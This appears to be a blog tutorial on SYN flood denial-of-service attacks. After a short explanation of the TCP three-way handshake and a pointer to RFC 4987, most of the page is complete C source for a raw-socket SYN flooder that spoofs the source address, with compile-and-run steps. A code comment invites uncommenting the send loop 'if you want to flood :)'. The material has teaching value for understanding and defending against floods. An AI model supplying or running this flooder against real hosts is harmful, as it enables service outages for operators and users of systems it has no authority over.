SYN Flood DOS Attack with C Source Code (Linux)

An article by Silver Moon    67 Comments

TCP/IP 3-way handshake is done to establish a connection between a client and a server. The process is :

1. Client –SYN Packet–> Server
2. Server –SYN/ACK Packet –> Client
3. Client –ACK Packet –> Server

The above 3 steps are followed to establish a connection between source and destination.

SYN Flood DOS attacks involves sending too many SYN packets (with a bad or random source ip) to the destination server. These SYN requests get queued up on the server’s buffer and use up the resources and memory of the server. This can lead to a crash or hang of the server machine.
After sending the SYN packet it is a half-open connection and it takes up resources on the server machine. So if an attacker sends syn packets faster than memory is being freed up on the server then it would be an overflow situation.Since the server’s resources are used the response to legitimate users is slowed down resulting in Denial of Service.

Most webservers now a days use firewalls which can handle such syn flood attacks and moreover even web servers are now more immune.

For more information on TCP Syn DOS attack read up rfc 4987 , titled “TCP SYN Flooding Attacks and Common Mitigations”
over here

Below is an example code in c :

Code

/*
	Syn Flood DOS with LINUX sockets
*/
#include<stdio.h>
#include<string.h> //memset
#include<sys/socket.h>
#include<stdlib.h> //for exit(0);
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h>	//Provides declarations for tcp header
#include<netinet/ip.h>	//Provides declarations for ip header

struct pseudo_header    //needed for checksum calculation
{
	unsigned int source_address;
	unsigned int dest_address;
	unsigned char placeholder;
	unsigned char protocol;
	unsigned short tcp_length;

	struct tcphdr tcp;
};

unsigned short csum(unsigned short *ptr,int nbytes) {
	register long sum;
	unsigned short oddbyte;
	register short answer;

	sum=0;
	while(nbytes>1) {
		sum+=*ptr++;
		nbytes-=2;
	}
	if(nbytes==1) {
		oddbyte=0;
		*((u_char*)&oddbyte)=*(u_char*)ptr;
		sum+=oddbyte;
	}

	sum = (sum>>16)+(sum & 0xffff);
	sum = sum + (sum>>16);
	answer=(short)~sum;

	return(answer);
}

int main (void)
{
	//Create a raw socket
	int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
	//Datagram to represent the packet
	char datagram[4096] , source_ip[32];
	//IP header
	struct iphdr *iph = (struct iphdr *) datagram;
	//TCP header
	struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
	struct sockaddr_in sin;
	struct pseudo_header psh;

	strcpy(source_ip , "192.168.1.2");

	sin.sin_family = AF_INET;
	sin.sin_port = htons(80);
	sin.sin_addr.s_addr = inet_addr ("1.2.3.4");

	memset (datagram, 0, 4096);	/* zero out the buffer */

	//Fill in the IP Header
	iph->ihl = 5;
	iph->version = 4;
	iph->tos = 0;
	iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
	iph->id = htonl (54321);	//Id of this packet
	iph->frag_off = 0;
	iph->ttl = 255;
	iph->protocol = IPPROTO_TCP;
	iph->check = 0;		//Set to 0 before calculating checksum
	iph->saddr = inet_addr ( source_ip );	//Spoof the source ip address
	iph->daddr = sin.sin_addr.s_addr;

	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

	//TCP Header
	tcph->source = htons (1234);
	tcph->dest = htons (80);
	tcph->seq = 0;
	tcph->ack_seq = 0;
	tcph->doff = 5;		/* first and only tcp segment */
	tcph->fin=0;
	tcph->syn=1;
	tcph->rst=0;
	tcph->psh=0;
	tcph->ack=0;
	tcph->urg=0;
	tcph->window = htons (5840);	/* maximum allowed window size */
	tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
				should fill in the correct checksum during transmission */
	tcph->urg_ptr = 0;
	//Now the IP checksum

	psh.source_address = inet_addr( source_ip );
	psh.dest_address = sin.sin_addr.s_addr;
	psh.placeholder = 0;
	psh.protocol = IPPROTO_TCP;
	psh.tcp_length = htons(20);

	memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));

	tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));

	//IP_HDRINCL to tell the kernel that headers are included in the packet
	int one = 1;
	const int *val = &one;
	if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
	{
		printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));
		exit(0);
	}

	//Uncommend the loop if you want to flood :)
	//while (1)
	//{
		//Send the packet
		if (sendto (s,		/* our socket */
					datagram,	/* the buffer containing headers and data */
					iph->tot_len,	/* total length of our datagram */
					0,		/* routing flags, normally always 0 */
					(struct sockaddr *) &sin,	/* socket addr, just like in */
					sizeof (sin)) < 0)		/* a normal send() */
		{
			printf ("error\n");
		}
		//Data send successfully
		else
		{
			printf ("Packet Send \n");
		}
	//}

	return 0;
}

Compile and Run

On Ubuntu

$ gcc synflood.c
$ sudo ./a.out
Packet Send

Use wireshark to check the packets and replies from server.
The sendto function if put in a loop will start flooding the destination ip with syn packets.

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